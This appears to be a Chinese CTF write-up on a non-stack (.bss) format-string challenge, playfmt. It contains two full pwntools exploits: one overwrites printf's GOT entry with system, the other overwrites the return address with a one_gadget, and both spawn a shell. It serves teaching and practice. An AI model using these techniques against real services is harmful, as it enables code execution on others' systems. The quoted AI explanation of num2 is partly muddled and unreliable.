非栈上的格式化字符串漏洞(bss段)-playfmt

方法一:修改printf为system,输入/bin/sh

这种方法会有点复杂

以buu上的hitcontraining_playfmt为例

没有开FULL RELRO,也就是说got表可改,那么我们的思路就是把printf的got表改成system,输入/bin/sh即可拿到shell

最终exp

from pwn import *


#r = remote("node5.buuoj.cn", 28773)
r = process("./playfmt")

elf = ELF("./playfmt")
libc = ELF('./libc-2.23.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
'''if DEBUG:
    gdb.attach(r, 
    
    b *0x0804854F
    c
    )'''
#gdb.attach(r)
r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16) #泄露栈地址
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247 #泄露libc地址
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
print(hex(system))
raw_input()  #
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #把libc地址抓入栈
r.sendline(payload)

raw_input()
num = (printf_got)& 0xFF
payload = '%' + str(num) + 'c%10$hhn' #把printf_got抓入栈
r.sendline(payload)

raw_input()
got_addr = rbp - 8 - 4
num = got_addr&0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)

raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'  #把printf_got+2抓入栈
r.sendline(payload) 

raw_input()
num1 = system&0xFFFF   #0x5678
num2 = (system>>16)-num1
print(hex(num1), ',', hex(num2))
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn'  #把printf_got改为system
r.sendline(payload)

'''raw_input()

payload='%' + str(num2) + 'c%7$hn'
r.sendline(payload)'''

raw_input()
payload = "/bin/sh"
r.sendline(payload)

r.interactive()
#pause()

 把libc地址抓进栈中

raw_input()  #
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #把libc地址抓入栈
r.sendline(payload)

 因为libc的地址只有低8位不同,通过写入低字节把printf_got抓到栈中

raw_input()
num = (printf_got)& 0xFF
payload = '%' + str(num) + 'c%10$hhn' #把printf_got抓入栈
r.sendline(payload)

把print_got+2抓入栈中(把print_got改成system要一半一半的改)

raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'  #把printf_got+2抓入栈
r.sendline(payload) 

 把printf_got改成system

raw_input()
num1 = system&0xFFFF   #0x5678
num2 = (system>>16)-num1
print(hex(num1), ',', hex(num2))
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn'  #把printf_got改为system
r.sendline(payload)

 这里num2为什么要减去num1,且看AI怎么说:

num2 是计算用来进行格式字符串漏洞利用时的一个重要部分。具体来说,num2 = (system >> 16) - num1 旨在算出在利用 printf 的格式字符串时需要写入的第二个16位数。

让我们逐步分析代码中为什么会有这样的操作:

  1. 狙击的目标: 该代码段的目标是将 system 的地址写入到某个特定的内存位置(例如 GOT 中的某个函数地址),使得在后续调用该函数时能够执行 system("/bin/sh"),从而获得一个 shell。

  2. 16位数分解: 在 x86 系统中,指针通常是 32 位的。如果我们想把一个 32 位的地址(例如 system 的地址)分成两个部分,即高 16 位和低 16 位:

    • num1 是 system 地址的低 16 位(通过 num = system & 0xFFFF 获取)。
    • num2 是 system 地址的高 16 位(通过 (system >> 16) - num1 计算得到)。

    这里的操作 (system >> 16) 将地址右移 16 位,从而取出高 16 位。然后通过减去 num1,我们得到需要加到低 16 位后面以达到完整地址的偏移量。

  3. 格式化字符串参数: 在格式字符串攻击中,%hn 写入 16 位的数值到一个指定的内存地址。因此,你需要两个写操作:

    • 第一次写操作用 num1(低 16 位)。
    • 第二次写操作则将 num2 写入到目标地址的高 16 位。
  4. 执行顺序: 在这种方式控制内存写入时,确保正确顺序非常重要,因为低 16 位和高 16 位分别会被修改,因此需要正确的偏移才能将 system 的完整地址写入目标位置。

总结起来,num2 的计算是通过右移和减去 num1 获取的为了将 system 地址的高 16 位正确写入目的地。这种技术是利用格式字符串漏洞进行精准内存操作的重要手段。

注意:这里因为是在play函数里面改的,系统已经会按照代码继续执行,所以改掉返回地址也没有关系,不要误认为是通过printf_got+2来执行的

方法二:修改返回地址为oneget来getshell

先放exp

from pwn import*
#io=process('./playfmt')
io=remote('node5.buuoj.cn','27461')
context(arch='i386',os='linux',log_level='debug')
libc=ELF('./libc-2.23.so')
def fmt(a):
	io.send(a)
#gdb.attach(io)
io.recvuntil("=====================\n")
io.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
io.sendline(payload)
rbp = int(io.recvuntil('\n').strip(), 16) #泄露栈地址
success("rbp:"+hex(rbp))
start_main = int(io.recvuntil('\n').strip(), 16) - 247 #泄露libc地址
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
print(hex(system))
one=p32(libc.address+0x3a80c)
ret=rbp-8-4
num=(rbp-12)&0xff
payload="%"+str(num)+"c%6$hhn\0"
fmt(payload)
for i in range(4):
	raw_input()
	payload="%"+str(num+i)+"c%6$hhn\0"
	fmt(payload)
	raw_input()
	payload="%"+str(one[i])+"c%10$hhn\0"
	fmt(payload)
fmt('quit')
io.interactive()
#pause()

gdb调试可以看到返回地址是play函数

如果我们能把它改成onegadget,我们就能getshell

可以看到已经更改

onegadget用工具在libc文件寻找

  • 6
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值